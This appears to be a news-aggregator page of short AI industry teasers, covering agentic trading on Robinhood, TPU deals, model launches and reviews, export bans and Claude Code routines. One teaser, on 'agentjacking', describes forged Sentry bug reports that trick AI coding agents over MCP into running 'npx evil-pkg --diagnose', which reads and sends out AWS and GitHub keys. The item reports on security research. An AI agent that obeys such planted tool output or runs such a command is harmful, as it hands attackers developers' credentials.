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AGENTIC TRADING ON ROBINHOOD Let your Claude or ChatGPT agent trade — via one MCP connection Claude · ChatGPT any MCP client Robinhood Trading MCP Agentic account sandboxed · ring-fenced Separate wallet · you approve high-risk orders · you stay responsible BITSMINDS.COM
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How to Connect Your AI Agent to Robinhood for Agentic Trading

A practical, step-by-step guide to Robinhood Agentic Trading: connect Claude, Claude Code, or ChatGPT to the Robinhood Trading MCP, fund a ring-fenced agentic wallet, set approval guardrails, and let your AI agent analyze and trade equities — safely.

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GIGAWATTS OF NEW TPU CAPACITY Anthropic × Google × Broadcom · primarily U.S.-sited Anthropic Google Broadcom MULTIPLE GIGAWATTS OF TPUs · ONLINE 2027 $9B → $30B run-rate 1,000+ customers over $1M/yr $50B U.S. infra pledge BITSMINDS.COM
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Anthropic, Google and Broadcom Team on Gigawatts of TPUs

Anthropic announced a partnership with Google and Broadcom on June 23 for multiple gigawatts of next-generation TPU capacity, coming online from 2027 and sited mostly in the U.S. — backing a run-rate that has climbed from $9 billion to over $30 billion.

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GOOGLE DEEPMIND × A24 STUDIO A24 PARTNER Google DeepMind DEAL ~$75 Million APPROACH Artist-led AI BITSMINDS.COM
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Google DeepMind Takes a $75M Stake in Film Studio A24

In its first-ever stake in a movie studio, Google DeepMind is investing roughly $75 million in A24 to co-develop AI filmmaking tools with the studio — without gaining access to A24’s content library, and with Demis Hassabis pitching the work as artist-led.

Google DeepMind

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OPENAI · DAYBREAK Patch the Planet cURL · Go · Python · Sigstore · and 30+ more BITSMINDS.COM
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OpenAI Launches 'Patch the Planet' to Fix Open-Source Bugs

OpenAI expanded its Daybreak security effort on June 22 with Patch the Planet — pairing the full GPT-5.5-Cyber model and a Codex Security plugin with Trail of Bits and 30+ open-source projects to turn vulnerability findings into merged fixes at scale.

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WECHAT · XIAOWEI An AI Agent Inside the Super-App X Xiaowei Order me a ride home On it — car in 4 min Ride Pay Order BITSMINDS.COM
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Tencent Tests Xiaowei, an AI Agent Built Into WeChat

Tencent has started a limited test of Xiaowei, an AI assistant woven directly into WeChat — running on its WeLM model with DeepSeek for some queries, and aiming to turn the 1.4-billion-user super-app into a voice-and-text concierge.

The Next Web

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SAKANA · FUGU One Model to Orchestrate the Rest T THINKER W WORKER V VERIFIER S SYNTHESIZER FUGU BITSMINDS.COM
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Sakana AI's Fugu Turns Model Orchestration Into a Product

The Tokyo lab made Fugu generally available on June 22 — a foundation model trained to command a pool of other AIs through one OpenAI-compatible API, pitched as a hedge against single-vendor lock-in.

Sakana AI

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FERC SHOW-CAUSE ORDERS · JUNE 18, 2026 SPEED TO POWER Six grid operators told to fast-track AI data centers POWER GRID AI DATA CENTER 30 DAYS reliability report on capacity 60 DAYS justify or reform large-load tariffs BITSMINDS.COM
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FERC Orders Grid Operators to Fast-Track AI Data Centers

FERC has ordered six of America’s largest grid operators to rework how they connect AI data centers to the power grid — with 30- and 60-day deadlines and guardrails to keep the costs off ordinary ratepayers.

The Energy Magazine

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AGENTJACKING A forged bug report. A hijacked coding agent. FORGED SENTRY EVENT Resolution: npx evil-pkg --diagnose public DSN · no auth needed MCP AI CODING AGENT trusts the tool output runs $ npx evil-pkg reading AWS / GitHub keys exfiltrating credentials... developer privileges BITSMINDS.COM
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Agentjacking: A Fake Sentry Bug Can Hijack Claude Code

A new attack called agentjacking abuses public Sentry keys and MCP to feed AI coding agents fake bug reports that trick them into running attacker code. Researchers found 2,388 exposed orgs and an 85% success rate.

Tenet Security

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Amazon Drops Its Sam Altman Movie After a $50B OpenAI Deal
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Amazon Drops Its Sam Altman Movie After a $50B OpenAI Deal

Amazon MGM has shelved “Artificial,” Luca Guadagnino’s nearly finished film about Sam Altman, months after a $50B OpenAI–AWS partnership. The starry drama is now being shopped to other studios.

Variety

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REUTERS DIGITAL NEWS REPORT 2026 1 in 10 adults now get their news from an AI chatbot 7% to 10% weekly use, year on year only 4% click through to the source 17% of under-35s, the most of any age BITSMINDS.COM
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AI Chatbots Now Deliver Weekly News to 1 in 10 Adults

The Reuters Institute’s 2026 Digital News Report finds weekly chatbot news use up to 10% globally — younger, highly engaged, and rarely clicking through to the source.

Reuters Institute for the Study of Journalism

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Z GLM-5.2 by Z.ai · MODEL REVIEW 62.1 SWE-bench Pro #1 open model · beats GPT-5.5 74.4 FrontierSWE ≈ Opus 4.8 (75.4) Open-weight · MIT · 744B MoE · 1M context BITSMINDS.COM
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GLM-5.2 Review: The Open Model That Out-Codes GPT-5.5

GLM-5.2 is the strongest open-weight coding model yet: MIT-licensed, 744B MoE, 1M context. It beats GPT-5.5 on SWE-bench Pro and trails Opus 4.8 by a point on FrontierSWE — at a fraction of the cost. Our review, with benchmark charts.

The Decoder

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0*:=/0*:=/#0*:=1#0*:=1#0*:= /%1#0*/%1#0*=/%1#0=/%1#0=/%1#0 AGENTIC RESOURCE DISCOVERY ai-catalog.jsonMCP serverA2A agentOpenAPI tool publish · discover · verify — across every framework BITSMINDS.COM
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Google's Open Standard Is a Search Engine for AI Agents

Google has published Agentic Resource Discovery (ARD), an Apache-2.0 open standard that lets AI agents find and verify tools across the web — backed at launch by Microsoft, Nvidia, GitHub, Hugging Face, Salesforce and more.

Google Developers Blog

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Google's $99 Gemini Home Speaker Ends a Six-Year Drought
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Google's $99 Gemini Home Speaker Ends a Six-Year Drought

Google has opened $99.99 pre-orders for the Gemini-powered Google Home Speaker — its first new smart speaker since 2020 — promising natural multi-step conversations, 360-degree sound, and a June 25 ship date.

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Qualcomm Weighs $10B Tenstorrent Deal to Challenge Nvidia
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Qualcomm Weighs $10B Tenstorrent Deal to Challenge Nvidia

Qualcomm is reportedly in advanced talks to acquire Jim Keller’s RISC-V AI-chip startup Tenstorrent for $8–10 billion, a move that would hand the company an open-architecture data-center stack to take on Nvidia and AMD.

Tom's Hardware

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EXPORT CONTROLS · ANTHROPIC JUN 19 Fable 5’s ban has a name behind it WIRED names the Korean carrier whose Mythos access the White House cut over alleged China ties. SK TELECOM Korea’s largest carrier $100M Anthropic investor CLAUDE MYTHOS Anthropic’s 10T-param cyber model (unreleased) PROJECT GLASSWING access revoked · Jun 12 Access cut days before the Jun 12 directive pulled Mythos and Fable 5 offline. SK Telecom denies any ties to China. BITSMINDS.COM Source: WIRED · Korea JoongAng Daily
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Fable 5’s Ban Has a New Name Behind It: SK Telecom

WIRED has named SK Telecom — a $100M Anthropic investor — as the South Korean carrier whose access to Claude Mythos the White House ordered revoked over alleged China ties, days before the June 12 directive pulled Mythos and Fable 5 offline. SK Telecom denies any China links.

Korea JoongAng Daily

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GUIDE · CLAUDE CODE ROUTINES Put your AI agent on a schedule A saved prompt that runs itself in the cloud — on a timer, an API call, or a GitHub event. TRIGGERS Schedule (cron) API call GitHub event ROUTINE A saved prompt + repositories + allowed tools CLOUD RUN Full Claude Code session, then posts output Create it with /schedule in the CLI, or at claude.ai/code/routines. BITSMINDS.COM Source: Anthropic
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How to Use Claude Code Routines: Schedule an AI Agent to Run in the Cloud

A practical, illustrated walkthrough of Claude Code routines — saved prompts that run themselves in Anthropic’s cloud on a schedule, an API call, or a GitHub event. How to create one with /schedule or the web UI, write a prompt that behaves, pick a cadence, and worked examples you can copy.

Anthropic

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RESEARCH · OPENAI JUN 17 An AI chemist cracked a stubborn drug reaction. GPT-5.4 and Molecule.one’s Maria Lab pushed a low-yielding Chan-Lam coupling much higher. 88% boronic acids improved 83% sulfonamides improved 8 / 14 validated reactions more than doubled GPT-5.4 proposed and ranked experiments; Molecule.one’s Maria Lab ran them. Human chemists steered the work and validated the result. Start to finish: about 2.5 months. BITSMINDS.COM Source: OpenAI · Molecule.one
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OpenAI’s “AI Chemist” Improved a Reaction Drug Makers Had Nearly Given Up On

Detailed June 17, OpenAI and Molecule.one paired GPT-5.4 with an autonomous lab to improve a stubborn Chan-Lam coupling — lifting yields for 88% of boronic acids and 83% of sulfonamides tested, with 8 of 14 validated reactions more than doubling.

OpenAI

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GPT-5.6 WHAT WE KNOW SO FAR — STATUS: UNCONFIRMED NOW Pre-train Canary Red-team Early access Launch CODEX ROUTING LOG ▸ route: gpt-5.6 · seen May 13 ▸ route: gpt-5.5 · then reverted Rumored · 1.5M context Rumored · ~1/3 cheaper vs Fable 5 Odds 83% · Jun 22–28 BITSMINDS.COM
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GPT-5.6: Everything We Know — Now Launched as Sol, Terra & Luna

GPT-5.6 is here: OpenAI shipped it on July 9, 2026 as a three-tier family — Sol, Terra and Luna — after a rare US-government delay, with Sol topping several agentic-coding charts. Here's the confirmed launch plus the full pre-launch rumor trail that got us here.

WaveSpeed Blog

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ACCESS RESTORED — BY ID ONLY EXPORT BAN Worldwide · Jun 13 USA VERIFIED Citizens · Jul 8 FABLE 5 CLAUDE · ANTHROPIC BITSMINDS.COM
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Anthropic's New Privacy Policy Hands U.S. Citizens a Workaround to the Fable 5 Ban — If They Show ID

A revised Anthropic privacy policy, effective July 8, lets U.S. citizens reclaim access to the banned Fable 5 and Mythos 5 by verifying citizenship with a government ID — but enterprise customers get no such path.

CIO

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MiMo-V2-Pro Xiaomi · API-only reasoning model 49 INTELLIGENCE INDEX 1M-token context #10 worldwide $1 / $3 per 1M tokens MI BITSMINDS.COM
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Xiaomi's MiMo-V2-Pro Cracks the Global Top 10 for AI Reasoning — at a Fraction of the Price

Xiaomi's reasoning model scores 49 on the Artificial Analysis Intelligence Index — #10 worldwide, between Kimi K2.5 and GLM-5 — while running its whole benchmark suite for just $348.

Artificial Analysis

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Google Retires Gemini CLI Today, Pushing Developers to the New Antigravity CLI
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Google Retires Gemini CLI Today, Pushing Developers to the New Antigravity CLI

As of June 18, Gemini CLI stops serving consumer requests. Google steers developers to the Go-built, multi-agent Antigravity CLI — keeping Skills and Hooks, but dropping open source.

Google Developers Blog

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OpenAI's LifeSciBench Puts AI Through a 750-Task Life-Science Exam — Top Model Passes Just 36%
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OpenAI's LifeSciBench Puts AI Through a 750-Task Life-Science Exam — Top Model Passes Just 36%

OpenAI's new 750-task benchmark grades AI on real life-science research judgment. The best model, GPT-Rosalind, passed only 36% — and 22.8% of tasks stumped every model tested.

MarkTechPost

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STATE OF UNREAL · EPIC GAMES JUN 17 Epic reveals Unreal Engine 6: one unified engine. UE5 and the Fortnite editor become one — with Verse, open standards, and AI help. Verse · transactional gameplay Portable assets · USD + glTF AI assist · Claude + Gemini Early Access end of 2027 · full release 12–18 months later BITSMINDS.COM Source: Epic Games · GamesBeat
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Epic Unveils Unreal Engine 6, Merging UE5 and the Fortnite Editor — With Claude and Gemini Wired In via MCP

At State of Unreal on June 17, Tim Sweeney revealed Unreal Engine 6 — a unified engine folding UE5 and the Unreal Editor for Fortnite into one, built around the Verse language, open USD/glTF standards, and AI-assisted creation via MCP with Claude, Gemini and others. Early Access is targeted for late 2027.

Epic Games

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ANTHROPIC · SEOUL OFFICE JUN 17 Anthropic opens in Seoul, and Korea is all in. NAVER, Samsung SDS, LG CNS, Nexon and more are already building on Claude. SEOUL PARTNERING WITH NAVER Samsung SDS LG CNS Hanwha Solutions Nexon KAIST + universities NAVER rolled out Claude Code org-wide · Korea is a top-12 Claude market BITSMINDS.COM Source: Anthropic
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Anthropic Opens a Seoul Office With NAVER, Samsung SDS and LG CNS Already Building on Claude

On June 17 Anthropic opened a Korea office led by KiYoung Choi and named a deep roster of partners — NAVER has deployed Claude Code across its entire engineering org, while Samsung SDS, LG CNS, Nexon, Hanwha and a KAIST-led university consortium are all building on Claude.

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